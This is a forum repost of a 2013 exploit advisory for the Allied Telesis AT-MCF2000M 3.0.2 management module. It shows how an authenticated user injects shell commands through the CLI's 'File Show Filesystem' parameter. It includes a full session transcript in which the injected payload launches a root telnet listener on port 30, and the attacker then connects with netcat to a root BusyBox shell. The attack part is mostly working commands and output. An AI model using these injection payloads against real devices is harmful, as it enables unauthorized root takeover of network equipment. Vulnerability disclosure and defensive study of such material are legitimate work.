Jump to content
wind

[ Allied Telesis AT-MCF2000M 3.0.2 ] Gaining Root Shell Access

Recommended Posts

:::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2013-01-02 ]
####################################################################
# [ Allied Telesis AT-MCF2000M 3.0.2 ] Gaining Root Shell Access #
####################################################################
#
# Device: "The AT-MCF2000M is the management module for the AT-MCF2000 two-slot chassis.
# With the AT-MCF2000M management module, if there is a blade failure,
# insertion or removal, your traffic flow will not be interupted.."
#
# Vendor: http://www.alliedtelesis.com/
# Product: http://www.alliedtelesis.com/p-2265.html
# Software Download: ftp://ftp.alliedtelesis.com/pub/medconv/mcf2000/AT-S85_S97_v302.ZIP
#
###################################################################
# Vulnerability:

Logging in system via ssh/telnet, is necessary to using this vulnerability.
After logging in, user has access to client menu(/sbin/AtiCli), without access to the shell.
User-supplied data are not validated properly. In section "File Show Filesystem=system://0/m/",
is possible to inject command with using special characters: "|;&.

Commands are limited to max 25 characters. Chars / are filtered.
For example:

# File Show Filesystem=system://0/m/";echo 11111111111111111111"
File name can be only up to 25 alphanumeric characters.
<>20:54:16::File Show Filesystem=system://0/m/";echo 11111111111111111111"::DENY(CLI_STRING_LENGTH_OUT_OF_RANGE)::[00.002]
#
# File Show Filesystem=system://0/m/";ls -al /"
<>20:55:00::File Show Filesystem=system://0/m/";ls -al /"::DENY(CLI_INVALID_PARAMETER)::[00.002]


Getting root access:

root@debian:~# ssh 10.11.200.2

--------------------------------------------------------------------------------
Allied Telesis Media Converter
AT-MCF2000
--------------------------------------------------------------------------------
Login: manager
Password: *******

Allied Telesis Media Converter - Version 3.0.2
<No System Name>
# ?
COnfiguration - Configuration related commands
DIagnostics - Diagnostics related commands
File - File related commands
IP - IP related commands
Logging - Logging related commands
Ntp - Ntp related commands
Ping - Ping a host
System - System related commands
Telnet - Telnet related commands
SNMP - Snmp related commands
SSh - SSH related commands
User - User management commands
CLear - Clear the terminal screen
Help - CLI help information
EXit - Exit
# File Show Filesystem=system://0/m/
Module 0/M File System:
-rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg
-rw-r--r-- 1 0 0 2612 Jan 1 15:27 BM_0_2.cfg
-rw-r--r-- 1 0 0 1355 Jan 1 15:27 MM.cfg
-rw-r--r-- 1 0 0 310 Dec 31 13:17 file.inf
-rw-r--r-- 1 0 0 6609 Jan 1 15:27 mcf_chassis0.cfg
# File Show Filesystem=system://0/m/BM_0_1.cfg
Module 0/M File System:
-rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg
# File Show Filesystem=system://0/m/test
Module 0/M File System:
ls: test: No such file or directory

<>18:55:19::File Show Filesystem=system://0/m/test::COMPL::[00.052]
# File Show Filesystem=system://0/m/|id
Module 0/M File System:
uid=0 gid=0
# File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30"
Module 0/M File System:

<>19:00:41::File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30"::COMPL::[00.061]
# File Show Filesystem=system://0/m/|"ps aux|grep telnet"
Module 0/M File System:
25 0 336 S /usr/sbin/telnetd -l /sbin/AtiCli
497 0 192 S telnetd -l/bin/sh -p30

<>19:01:02::File Show Filesystem=system://0/m/|"ps aux|grep telnet"::COMPL::[00.117]
# exit
<>19:01:40::exit::COMPL::[00.001]
#
logging out.
Connection to 10.11.200.2 closed.

root@debian:~# nc 10.11.200.2 30


BusyBox v1.01 (2005.09.07-23:28+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # id
uid=0 gid=0
/ # uname -a
Linux (none) 2.6.14 #2 Thu Jul 23 17:15:38 PDT 2009 ppc unknown
/ # cat /proc/version
Linux version 2.6.14 (schen@arun-linux) (gcc version 3.4.4) #2 Thu Jul 23 17:15:38 PDT 2009
/ # ls -al
drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 .
drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 ..
-rw-r--r-- 1 0 0 125 Jan 1 19:10 .ash_history
-rw-r--r-- 1 0 0 0 Jan 1 13:24 1
drwxr-xr-x 2 0 0 1024 Aug 10 2009 bin
drwxr-xr-x 3 0 0 0 Jan 1 15:27 cfg
drwxr-xr-x 4 0 0 2048 Aug 10 2009 dev
drwxr-xr-x 10 0 0 1024 Jan 1 1970 etc
drwxr-xr-x 4 0 0 1024 Aug 10 2009 lib
drwxr-xr-x 2 0 0 12288 Aug 10 2009 lost+found
drwxr-xr-x 3 0 0 1024 Aug 10 2009 mnt
dr-xr-xr-x 49 0 0 0 Jan 1 1970 proc
drwx------ 2 0 0 1024 Aug 10 2009 root
drwxr-xr-x 2 0 0 1024 Aug 10 2009 sbin
drwxrwxrwt 2 0 0 1024 Jan 1 19:06 tmp
drwxr-xr-x 6 0 0 1024 Aug 10 2009 usr
drwxr-xr-x 7 0 0 1024 Jan 1 1970 var
/ # echo pwnd! & exit
pwnd!
Connection closed by foreign host.
root@debian:~#

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...